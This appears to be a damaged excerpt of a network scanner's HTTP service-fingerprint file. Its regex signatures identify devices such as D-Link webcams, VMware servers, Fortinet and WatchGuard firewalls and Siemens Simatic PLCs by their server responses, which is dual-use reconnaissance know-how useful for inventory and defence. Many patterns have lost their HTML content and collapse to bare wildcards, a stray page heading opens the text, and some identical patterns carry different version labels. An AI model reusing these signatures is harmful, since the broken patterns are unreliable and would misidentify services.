          57066 Minolta Network Configuration Sheet 1 of 2\n\n

          .*Serial Number: *(\d+)\n.*Ethernet Address: *([0-9A-F.]+).*F/W Version: *([\w.]+ \(\w+\)).*Print Server Name: *([\w_.-]+)|s p/Minolta PagePro 20 printer http config/ i/serial number: $1, MAC: $2, firmware $3/ d/printer/ h/$4/ cpe:/h:minolta:pagepro_20/a +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"(DCS-\w+)\"\r\n(?:[^\r\n]+\r\n)*?Server: WIC-2300\r\n|s p/D-Link $1 webcam http config/ d/webcam/ cpe:/h:dlink:$1/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"(DCS-\w+)\"\r\n(?:[^\r\n]+\r\n)*?Server: DCS-\w+\r\n|s p/D-Link $1 webcam http config/ d/webcam/ cpe:/h:dlink:$1/ +match http m|^HTTP/1\.0 401 Authorization Required\r\nWWW-Authenticate: BASIC realm=(DCS-\w+)\r\n\r\nPassword Error\. $| p/D-Link $1 webcam http config/ d/webcam/ cpe:/h:dlink:$1/ +match http m|^HTTP/1\.0 400 bad url /\r\nServer: TinyHTTPProxy/([\d.]+) ([^\r\n]+)\r\n| p/TinyHTTPProxy/ v/$1/ i/$2/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nPragma: no-cache\r\nCache-Control: no-store\r\nExpires: -1\r\n.*|s p/Juniper SA2000 or SA4000 VPN gateway http config/ d/security-misc/ +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nPragma: no-cache\r\nCache-Control: no-store\r\nExpires: -1\r\n.*by Pulse Secure, LLC\..*|s p/Pulse Secure VPN gateway http config/ d/security-misc/ +match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\nContent-Type: text/html\r\nDate: .*\r\n\r\n\r\n\r\n\r\nFMS : Freenet Message System| p/Freenet Message System web client/ +match http m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?Server: Profense\r\n|s p/Profense web application firewall/ d/firewall/ +match http m|^HTTP/1\.0 200 Ok\r\nServer: NET-DK/([\d.]+)\r\n.*Touchstone Status|s p/NET-DK/ v/$1/ i/Arris Touchstone TM702B VoIP modem/ d/VoIP adapter/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: MediaBox HTTPd Server/([\d.]+) \(Unix\)\r\n|s p/MediaBox HTTPd Server/ v/$1/ o/Unix/ +match http m|^HTTP/1\.1 200 OK\r\nServer: cab/([\d.]+) \(([^)]+)\)\r\n.*cab AdminApplet|s p/cab/ v/$1/ i/AdminApplet $2/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\n\r\nEverything| p/voidtools Everything search engine httpd/ o/Windows/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Set-Cookie: sessionId=.*\n\n\nCisco Systems Login\n|s p/Cisco 4400 wireless LAN controller httpd/ d/remote management/ +match http m|^HTTP/1\.0 200 OK\r\n.*:: ThinStation ::.*

          Thinstation ([\w._-]+) on ([\w._-]+) :: Main page

          |s p/ThinStation http admin/ v/$1/ o/Linux/ h/$2/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: \r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"ADSL Router \(ANNEX B\)\"\r\n.*.*|s p/Allnet ALL0277DSL ADSL router http config/ d/broadband router/ cpe:/h:allnet:all0277dsl/a +match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w._-]+)/\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 56\r\n\r\n

          301 Moved Permanently

          $| p/VMware ESXi Server httpd/ h/$1/ cpe:/o:vmware:esxi/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"PCS-1 Web Control\"\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\d.]+)\r\n|s p/Allegro RomPager/ v/$1/ i/Sony PCS-1 video conferencing http config/ d/webcam/ cpe:/a:allegro:rompager:$1/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Ubicom/([\d.]+)\r\n.*D-Link Gaming Router :\r\n\t\t Login\r\n\t|s p/Ubicom/ v/$1/ i/D-Link DGL-4500 WAP http config/ d/WAP/ cpe:/h:dlink:dgl-4500/a +match http m|^HTTP/1\.1 307 Temporary Redirect\r\nConnection: keep-alive,close\r\n(?:[^\r\n]+\r\n)*?Location: http://([\w._-]+)/servlet/StartServlet\r\nServer: PEWG/([\d.]+)\r\n|s p/PEWG/ v/$2/ i/OCE print server/ d/print server/ h/$1/ +match http m|^HTTP/1\.1 401 Authorization Required\r\n.*www-authenticate:Basic realm=\"(\w+)v(\d+)POE \(([0-9A-F]{12})\)\"\r\n|s p/InterTel $1 VoIP phone http config/ i/firmware $2; MAC $3/ d/VoIP phone/ +match http m|^HTTP/1\.1 401 Authorization Required\r\n.*www-authenticate:Basic realm=\"(\d+)i \(([0-9A-F]{12})\)\"\r\n|s p/InterTel $1 VoIP phone http config/ i/MAC $2/ +match http m|^HTTP/1\.1 401 Authorization Required\r\n.*www-authenticate:Basic realm=\"IP Resource Card \(IPRC\)\(id=[0-9A-F]+\)\"\r\n|s p/InterTel IPRC VoIP management card/ d/PBX/ +match http m|^HTTP/1\.1 200 OK\r\n.*Ethernetov\xfd teplom\xecr TME od Papouch s\.r\.o\.|s p/Papouch TME Ethernet thermometer http interface/ +match http m|^HTTP/1\.1 200 OK\r\nServer: SMC Internet Update Manager\r\nConnection: Keep-Alive\r\nContent-Type: text\r\nDate: .*\r\nContent-Length: 61\r\n\r\nAvira Internet Update Manager ist betriebsbereit$| p/Avira SMC Internet Update Manager/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Avira Update Manager\r\nConnection: Keep-Alive\r\nContent-Type: text\r\nDate: .*\r\nContent-Length: 52\r\n\r\nAvira Update Manager ist betriebsbereit| p/Avira Update Manager/ +match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w._-]+)/\r\nConnection: close\r\nContent-Length: 0\r\n\r\n$| p/VMware ESX 3.5 Server httpd/ h/$1/ cpe:/o:vmware:esx:3.5/ +match http m|^HTTP/1\.0 200 Ok\r\nServer: httpd\r\n.*.*.*.*\r\n\r\n\r\n\r\n\r\n$|s p/GoldStar iPECS 50B PBX http config/ d/PBX/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01 Jan 1970 00:00:00 GMT\r\nSet-Cookie: JSESSIONID=[0-9A-F]+; Path=/; Secure\r\n.*VMware View Portal|s p/VMware View Manager httpd/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01 Jan 1970 00:00:00 GMT\r\nSet-Cookie: JSESSIONID=[0-9A-F]+; Path=/; Secure; HttpOnly\r\n.*VMwareView Portal|s p/VMware View Manager httpd/ +match http m|^HTTP/1\.1 200 OK\r\ncache-control: no-cache\r\nContent-Length: \d+\r\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\r\nSet-Cookie: JSESSIONID=[0-9A-F]+; Path=/; Secure.*VMware View Portal|s p/VMware View Manager httpd/ +match http m|^HTTP/1\.1 404 Not Found\r\nDate: .* GMT\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n\r\n\r\nVMware View| p/VMware View Manager httpd/ +match http m|^HTTP/1\.1 403 Forbidden\r\nServer: Norman Security/([\d.]+)\r\nContent-Type: text/html\r\nConnection: Close\r\nContent-Length: 90\r\n\r\nNorman Security Error

          403 - Forbidden

          $| p/Norman Security Endpoint Protection httpd/ v/$1/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Norman Security/([\d.]+)\r\n.*Norman Security Error

          401 - Unauthorized

          $|s p/Norman Security Endpoint Protection httpd/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\n.*.*Oracle Applications Rapid Install|s p/Oracle Rapid Install httpd/ + +match http m|^HTTP/1\.1 200 OK\r\nDate: [^\r\n]+\r\n(?:Connection: \S+)?\r\nContent-Type: text/html\r\n(?:X-Frame-Options: DENY\r\n)?Content-Length: \d+\r\n\r\n.*|s p/VMware vCenter Converter httpd/ v/4/ +match http m|^HTTP/1\.1 200 OK\r\nDate: [^\r\n]+\r\n(?:Connection: \S+)?\r\nContent-Type: text/html\r\n(?:X-Frame-Options: DENY\r\n)?Content-Length: \d+\r\n\r\n.*|s p/VMware vCenter Converter httpd/ v/4.3/ + +match http m|^HTTP/1\.1 200 OK\r\nContent-Length: 273\r\nContent-Type: text/html\r\n\r\nRoot Index\r\n$| p/RSA SecurID 2.0 RADIUS http config/ d/security-misc/ cpe:/h:rsa:securid:2.0/ +match http m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?Server: LapLink ([\d.]+)\r\n|s p/Laplink file transfer httpd/ v/$1/ +match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\n\n\n\n[\w._-]+ - Hallo!| p/Xrelayd SSL engine httpd/ i/OpenWrt/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.0 200 OK\r\nServer: jToolkitHTTP/([\w._-]+) Python/([\d.]+)\r\n| p/jToolkit web framework httpd/ v/$1/ i/Python $2/ cpe:/a:python:python:$2/ +match http m|^HTTP/1\.0 200 Document follows\r\n(?:[^\r\n]+\r\n)*?Server: PureMessage Web Server\r\n|s p/Sophos PureMessage spam filter http interface/ +match http m|^HTTP/1\.0 200 OK\r\nServer: iCanWebServer/([\d.]+)\r\n.*Network Camera Viewer|s p/iCanWebServer/ v/$1/ d/webcam/ +match http m|^HTTP/1\.1 302 Found\r\n(?:[^\r\n]+\r\n)*?Location: https://([\w._-]+):(\d+)/zimbra/\r\n|s p/Zimbra http config/ i/redirect to https on port $2/ h/$1/ cpe:/a:zimbra:zimbra_collaboration_suite/ +match http m|^HTTP/1\.1 302 Found\r\n(?:Date: .*\r\n)?Expires: .*\r\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\r\nPragma: no-cache\r\n(?:X-Frame-Options: SAMEORIGIN\r\n)?Content-Type: text/html; charset=[Uu][Tt][Ff]-8\r\nContent-Language: en-US\r\nLocation: https://[^/]+/[^?]*\?zinitmode=http\r\nContent-Length: 0\r\n\r\n$| p/Zimbra http config/ i/redirect to https/ cpe:/a:zimbra:zimbra_collaboration_suite/ +match http m|^HTTP/1\.0 400 String index out of range: -1\r\nContent-Type: text/html\r\n\r\n$| p/Bluecat Networks Proteus IPAM or Enterasys Dragon IDS http config/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 302 Found\r\ncontent-type: text/html;charset=utf8\r\ncache-control: no-cache\r\ncontent-length: 0\r\nlast-modified: .*\r\ndate: .*\r\nconnection: close\r\nlocation: /login\?continue=%2f\r\n\r\n$| p/Alterator remote management httpd/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.0 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: Alfred/([\d.]+)\r\n|s p/Alfred RenderMan control httpd/ v/$1/ +match http m|^HTTP/1\.0 200 Ok\r\n(?:[^\r\n]+\r\n)*?Server: AXIS ThinWizard/v([\d.]+)\r\n|s p/AXIS ThinWizard printer management httpd/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\nServer: \r\nContent-Length: 1057\r\n.*Bad Browser|s p/Siemens HG 1500 router http config/ cpe:/h:siemens:hg_1500/a +match http m|^HTTP/1\.1 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\d.]+)\r\n.*Correct authorization is required for this area\. Either your browser does not perform authorization, or your authorization has failed\. RomPager server by Digest Access Authentication, which is not supported by your browser\.

          \nReturn to last page

          \n\n\n\n$|s p/AudioCodes Mediant 200 VoIP gateway http config/ d/VoIP adapter/ cpe:/a:allegro:rompager:$1/ cpe:/h:audiocodes:mediant_200/a +match http m|^HTTP/1\.1 200 OK\r\nServer: WHC chatroom\r\n| p/Fifi chat server http interface/ +match http m|^HTTP/1\.0 200 OK\r\nServer: Xunlei Http Server/([\d.]+)\r\n| p/Xunlei BitTorrent http interface/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\n.*<\?xml version=\"1\.0\" encoding=\"utf-8\"\?>\n\n\n \n \r\n\r\n\r\n\r\n

          |s p/HP Procurve 1810G switch http config/ d/switch/ cpe:/h:hp:procurve_switch_1810g/ cpe:/o:hp:procurve_switch_software/ +match http m|^HTTP/1\.0 302\r\nLocation: /Portal0000\.htm\r\n.*Error\r\n

          /

          302 : MOVED TEMPORARILY

          $|s p/Siemens Simatic S7-300 PLC httpd/ d/specialized/ +match http m|^HTTP/1\.0 302 Object Moved\r\nContent-Type:text/html\r\nContent-Length: 0\r\nConnection: close\r\nLocation: /Default\.mwsl\r\n\r\n$| p/Siemens Simatic S7-1200 PLC httpd/ d/specialized/ +match http m|^HTTP/1\.0 302 Object Moved\r\nContent-Type:text/html\r\nContent-Length: 0\r\nConnection: close\r\nLocation: /Default\.html\r\n\r\n$| p/Siemens Simatic HMI MiniWeb httpd/ d/specialized/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/html\r\nWWW-Authenticate: Basic realm=\"Web Management\"\r\n\r\n401 Unauthorized401 Unauthorized$| p/Foundry EdgeIron switch http config/ d/switch/ +match http m|^HTTP/1\.1 404 Not Found\r\nConnection: Close\r\nContent-Type: text/html\r\n\r\nThe specified URL cannot be found\r\n| p/Barracuda Web Application Firewall/ d/firewall/ +match http m|^HTTP/1\.1 403 Directory Listing Denied\r\nContent-Type: text/plain\r\nContent-Length: 12\r\n\r\nError: 403\r\n$| p/HP Dream Screen media player http config/ d/media device/ +match http m|^HTTP/1\.0 200 OK\r\nX-Powered-By: PHP/([\w._-]+)\r\n.*Seagate NAS - ([\w._-]+)\n\n|s p/Seagate Black Armor 440 NAS http config/ i/PHP $1/ h/$2/ cpe:/a:php:php:$1/ +match http m|^HTTP/1\.0 200 OK\r\nX-Powered-By: PHP/([\w._-]+)\r\n.*My Book World Edition - ([\w._-]+)\n.*\n|s p/Western Digital My Book http config/ i/PHP $1/ d/storage-misc/ h/$2/ cpe:/a:php:php:$1/ +match http m|^HTTP/1\.1 302 Found\r\n(?:[^\r\n]+\r\n)*?Location: https://([\w._-]+)/site-web/home\.seam\r\n|s p/Seam web framework/ h/$1/ +match http m|^HTTP/1\.0 200 OK\r\n.*Print server homepage\n\n\n|s p/Citizen CLP-521 or Kyocera Mita KM-1530 printer http config/ d/printer/ cpe:/h:kyocera:mita_km-1530/a +match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 19\r\nContent-Type: text/html\r\n\r\n 404 Page Not Found$| p/Kyocera Mita FS-1350DN printer http config/ d/printer/ cpe:/h:kyocera:mita_fs-1350dn/a +match http m|^HTTP/1\.0 401 Unauthorized\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"GeneralUser/Administrator\"\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \n
          \nAuthorization required for the requested URL\.\n\n|s p/thttpd/ i/Panasonic BB-HCM511 IP camera http config/ cpe:/a:acme:thttpd/ +match http m|^HTTP/1\.1 307 Redirect\r\nLocation: https?://[^\r\n]*\r\nContent-Length: 0\r\n\r\n$| p/Apache httpd/ v/2.0.X/ cpe:/a:apache:http_server:2.0/ +match http m|^HTTP/1\.0 200 OK\r\nServer: RapidLogic/([\w._-]+)\r\n.*OneAccess WCF|s p/RapidLogic httpd/ v/$1/ i/OneAccess ONE100A router http config/ d/router/ o/OneOS/ cpe:/a:rapidlogic:httpd:$1/ cpe:/h:oneaccess:one100a/a cpe:/o:oneaccess:oneos/ +match http m|^HTTP/1\.1 200\r\n.*|s p/Nova viaWARP httpd/ o/Windows/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Apache ([\w._-]+) in ([^\r\n]+)\r\n|s p/Apache Tomcat $1/ i/in $2/ cpe:/a:apache:tomcat/ +match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-type: text/html\r\nAccept-Ranges: bytes\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"PLC Adaptor\"\r\n\r\n| p/Panasonic PLC Adaptor Ethernet-to-mains bridge http config/ d/bridge/ +match http m|^\n501 Method Not Implemented\n\n

          Method Not Implemented

          \n\n$| p/kissdx media player control httpd/ +match http m|^HTTP/1\.1 200 OK\r\nServer: yawcam/([\w._-]+)\r\nContent-Length:\d+\r\n| p/Yawcam webcam viewer httpd/ v/$1/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: (?:Cisco )?ACS ([\w._-]+)\r\n|s p/Cisco ACS httpd/ v/$1/ +match http m|^HTTP/1\.0 401 Unauthorized\r\n(?:[^\r\n]+\r\n)*?Server: WYM/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"Rovio\"\r\n|s p/WYM httpd/ v/$1/ i/Wowwee Rovio webcam/ d/webcam/ +match http m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Kerio Connect ([^\r\n]+)\r\n|s p/Kerio Connect webmail httpd/ v/$1/ cpe:/a:kerio:connect:$1/ +match http m|^HTTP/1\.1 302 Found\r\nConnection: Close\r\nContent-Length: 0\r\nContent-type: text/html\r\nDate: .*\r\nlocation: https://([^/:]+)(?::\d+)?/webmail/login/\r\nX-UA-Compatible: IE=8\r\n\r\n| p/Kerio Connect webmail httpd/ h/$1/ cpe:/a:kerio:connect/ +match http m|^HTTP/1\.0 500 Internal server error\nServer: M3 Business Engine ([^\r\n]+)\nConnection: close\nContent-Type: text/html; charset=UTF-8\nCache-Control: no-cache\nPragma: no-cache\nExpires: 0\nContent-Type: text/html\n\n\n500 Internal server error\n\n

          500 Internal server error

          \n
          \n
          M3 Business Engine ServerView
          \n\n$| p/M3 Business Engine ServerView httpd/ v/$1/ +match http m|^HTTP/1\.0 200 ok\r\nContent-type: text/plain\r\n\r\nError accessing ''\r\n$| p/OpenSSL s_server -WWW httpd/ cpe:/a:openssl:openssl/ +# TODO: hunt down line number/version number correlations +match http m|^HTTP/1\.0 200 ok\r\nContent-type: text/plain\r\n\r\nError opening ''\r\n\d+:error:[A-F\d]+:system library:fopen:No such file or directory:bss_file\.c:169:fopen\('','r'\)\n\d+:error:[A-F\d]+:BIO routines:BIO_new_file:no such file:bss_file\.c:172:\n| p/OpenSSL s_server -WWW httpd/ cpe:/a:openssl:openssl/ +match http m|^HTTP/1\.0 200 ok\r\nContent-type: text/html\r\n\r\n\n
          \n\n(.*) (?:\nSecure Renegotiation IS(?: NOT)? supported)?\nCiphers supported in s_server binary\n| p/OpenSSL s_server -www httpd/ i/command line: $1/ cpe:/a:openssl:openssl/
          +match http m|^HTTP/1\.1 302 Moved Temporarily\r\n(?:[^\r\n]+\r\n)*?Server: go1984\r\n(?:[^\r\n]+\r\n)*?Location: http://([\w._-]+)(?::\d+)?/([\w._-]+)/Default/index\.htm\r\n\r\n|s p/go1984 httpd/ i/session ID $2/ d/webcam/ h/$1/
          +match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nAccept-Ranges: none\r\n.*\r\n.*|s p/Wind River Web Server/ v/$1/ i/Fujitsu-Siemens FibreCAT SX80 NAS device http config/ d/storage-misc/
          +match http m|^HTTP/1\.1 200 OK\r\nServer: WindRiver-WebServer/([\w._-]+)\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n.*.*.*HP StorageWorks MSA Storage Management Utility|s p/Wind River Web Server/ v/$1/ i/HP StorageWorks MSA http config/ d/storage-misc/
          +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: MarratechPortal/([\w._-]+) \(Java ([\w._-]+); Windows ([^)]+)\) build/(\d+)\r\n|s p/Marratech Portal/ v/$1 build $4/ i/Java $2; Windows $3/ o/Windows/ cpe:/a:sun:jre:$2/ cpe:/o:microsoft:windows/a
          +match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: BBVS\r\nContent-type: text/plain\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"SecuritySpy Web Server\"\r\n\r\n401 Unauthorized\r\n$|s p/SecuritySpy webcam viewer httpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a
          +match http m|^HTTP/1\.1 200 OK\r\nServer: BBVS/([\w._-]+)\r\nKeep-Alive: timeout=20, max=100\r\nConnection: Keep-Alive\r\nAccept-Ranges: bytes\r\nContent-Length: 6258\r\nContent-Type: text/html\r\n\r\n\n\nSecuritySpy Web Server\n| p/SecuritySpy webcam viewer httpd/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a
          +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nExpires:0\r\npragma:no-cache\r\n\r\n\r\n\r\n\r\n\r\n$| p/TED 5000 power use monitor/ d/power-device/
          +# http://java423.vicp.net:8652/infoserver.central/data/syshbk/collections/TECHNICALINSTRUCTION/1-61-208775-1.html
          +match http m|^HTTP/1\.0 400 Malformed Header in \r\nContent-Type: text/html\r\n\r\n$| p/Sun ScApp bytecode transfer httpd/
          +match http m|^HTTP/1\.1 200 OK\r\n\r\nFile SharePublic
          $| p/File Share httpd/ i/Android mobile phone/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\n.*VoIP Gateway.*|s p/D-Link DVS-4088S, DVS-5088S, or DVG-7062S VoIP gateway http config/ d/VoIP adapter/ +match http m|^HTTP/1\.0 200 OK\r\nServer: BEJY V([\w._-]+) HTTP ([\w._-]+) \r\n| p/BEJY httpd/ v/$2/ i/BEJY $1/ +match http m|^HTTP/1\.0 404 Not Found\r\nServer: Xfire\r\nConnection: close\r\n\r\n\r\n$| p/Xfire httpd/ +match http m|^HTTP/1\.0 302 Found\r\nLocation: http://guide(?:test)?\.[\w._-]*opendns\.com/\?url=\r\nContent-type: text/html\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: OpenDNS Guide\r\n\r\n$| p/OpenDNS Guide/ +match http m|^HTTP/1\.0 302 Found\r\nLocation: http://guide(?:test)?\.[\w._-]*opendns\.com/\?url=\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: OpenDNS Guide\r\n\r\n$| p/OpenDNS Guide/ +match http m|^HTTP/1\.0 303 See Other\r\nLocation: http://guide(?:test)?\.[\w._-]*opendns\.com/\?url=\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: OpenDNS Guide\r\n\r\n$| p/OpenDNS Guide/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(DocuPrint [\w._-]+) - ([\w._-]+)\r\n| p/Fuji Xerox $1 printer http config/ d/printer/ h/$2/ cpe:/h:fuji:xerox_$1/a +match http m|^HTTP/1\.1 502 Bad Gateway\r\nContent-Type: text/html\r\nContent-Length: 487\r\n\r\n\n\n\n\nContent Server Message\n\n\n\nNetwork message format error\. Unable to parse browser environment or content item\. Unable to parse properties\. Name-value pairs are missing an '='\.\n\n$| p/Oracle Universal Content Management httpd/ +match http m|^HTTP/1\.0 400 Bad Request\r\nContent-Length: 0\r\n\r\n$| p/IDentifier NameTracer Pro httpd/ +match http m|^HTTP/1\.1 200 OK\r\nContent-Length: 155\r\nConnection: close\r\n.*<FortiClient Download Portal|s p/FortiClient firewall http config/ d/firewall/ +match http m|^HTTP/1\.1 200 OK\r\nServer: Agranat-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n \n\n [\w._-]+ \n\n\n\n|s p/Fortinet FortiGate SSL VPN remote http login/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Last-Modified: Tue, 03 Oct 2006 19:21:12 GMT\r\nETag: \"85f_52_4522b828\"\r\n(?:[^\r\n]+\r\n)*?Content-Length: 82\r\n.*location=\"/remote/index\";\n\n\n\n\0{605}$|s p/Fortinet FortiGate-5001 SSL VPN remote http login/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Last-Modified: Wed, 11 Jan 2012 03:34:20 GMT\r\nETag: \"610_4f_4f0d033c\"\r\n(?:[^\r\n]+\r\n)*?Content-Length: 79\r\n.*location=\"/login\";\n\n\n\n|s p/Fortinet FortiGate firewall http proxy admin/ d/firewall/ +match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Last-Modified: Fri, 21 Apr 2000 00:53:33 GMT\r\nETag: W/\"685_4f_4d082ec4\"\r\n(?:[^\r\n]+\r\n)*?Content-Length: 79\r\n.*location=\"/login\";\n\n\n\n|s p/Fortinet FortiGate firewall http proxy admin/ d/firewall/ +match http m|^HTTP/1\.1 303 See Other\r\nLocation: https?://([\d.]+:\d+)/fgtauth\?[0-9a-fA-F]+\r\n.*Firewall Authentication|s p/FortiGate Application filtering/ i/Auth server $1/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"View Home & Status Web Pages\"\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\w._-]+)\r\n|s p/Allegro RomPager/ v/$1/ i/Xerox Phaser 8560DN printer http config/ d/printer/ cpe:/a:allegro:rompager:$1/ cpe:/h:xerox:phaser_8560dn/a +match http m|^HTTP/1\.1 302 Found\r\nLocation: https://[\d.]+/home\.html\r\nContent-Length: 0\r\nServer: Allegro-Software-RomPager/([\w._-]+)\r\n\r\n$| p/Allegro RomPager/ v/$1/ i/Xerox Phaser 8560DN printer http config/ d/printer/ cpe:/a:allegro:rompager:$1/ cpe:/h:xerox:phaser_8560dn/a +match http m|^HTTP/1\.1 200 OK\r\n.*XenServer ([\w._-]+)|s p/Citrix Xen Simple HTTP Server/ i/XenServer $1/ +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?ETag: \"-127477461\"\r\n(?:[^\r\n]+\r\n)*?Server: none\r\n.*Fireware XTM User Authentication|s p/WatchGuard FireBox XTM firewall http config/ d/firewall/ +match http m|^HTTP/1\.1 401 Unauthorized\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"uTorrent\"\r\n\r\n| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 300 ERROR\r\nConnection: keep-alive\r\nContent-Length: 15\r\nContent-Type: text/html\r\n\r\ninvalid request$| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a +# uTorrent 2.0.2 +match http m|^HTTP/1\.1 400 ERROR\r\nConnection: keep-alive\r\nContent-Length: 15\r\nContent-Type: text/html\r\n\r\ninvalid request$| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.1 400 ERROR\r\nConnection: keep-alive\r\nContent-Length: 17\r\nContent-Type: text/html\r\n\r\n\r\ninvalid request$| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: WYM/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Content-Length: 1029\r\nLast-Modified: Tue, 19 May 2009 02:17:02 GMT\r\n\r\n\xef\xbb\xbf\r\n\r\nNVS|s p/WYM httpd/ v/$1/ i/A+V Link NVS-4000 surveillance system http config/ d/webcam/ +match http m|^HTTP/1\.1 200 OK\r\nLast-Modified: Mon, 07 Apr 2009 04:00:00 GMT\r\nContent-Type: TEXT/HTML\r\nDate: \w\w\w, \d\d \w\w\w \d\d\d\d \d\d:\d\d:\d\d GMT00:00 GMT\r\nServer: ICOM ([\w._-]+) from SBS\r\nMIME-Version: 1\.0\r\nServer: ICOM [\w._-]+ from SBS\r\nConnection: close\r\nContent-Length: 861\r\n\r\n\r\n\r\nUltraQuest Index HTML| p/ICOM httpd/ v/$1/ i/UltraQuest mainframe reporting/ o|OS/390| cpe:/o:ibm:os_390/a +match http m|^HTTP/1\.0 404 Not Found\r\nContent-type: text/html\r\nDate: Sat, 31 Dec 2005 23:02:28 GMT\r\nConnection: close\r\n\r\n404 Not Found\n

          404 Not Found

          \nThe requested URL was not found on this server\.\n\n$| p/BusyBox httpd/ i/Sphairon Turbolink IAD ADSL modem http config/ o/Linux/ cpe:/a:busybox:busybox/ cpe:/o:linux:linux_kernel/a +match http m|^HTTP/1\.1 302\r\nLocation: /login\.vibe\r\n\r\n$| p/VibeStreamer streaming media httpd/ +match http m|^\r\n\r\n\r\n\r\n\r\n\r\n<\?xml version=\"1\.0\" encoding=\"ISO-8859-1\"\?>\r\n\r\n\r\n\r\n\r\n\r\n\r\nRealSecure SiteProtector.*\n\n302 Found\n\n

          Found

          \n

          The document has moved here\.

          \n

          Additionally, a 302 Found\nerror was encountered while trying to use an ErrorDocument to handle the request\.

